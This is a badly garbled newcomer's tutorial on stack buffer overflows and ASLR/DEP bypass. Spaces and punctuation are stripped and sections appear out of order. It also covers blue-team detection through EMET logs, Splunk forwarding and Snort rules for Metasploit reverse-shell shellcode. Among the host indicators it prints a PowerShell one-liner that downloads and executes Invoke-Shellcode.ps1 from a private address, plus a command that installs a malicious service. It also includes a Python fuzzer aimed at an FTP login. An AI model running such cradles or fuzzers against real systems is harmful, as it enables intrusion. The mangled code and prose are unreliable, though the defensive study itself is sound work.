some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

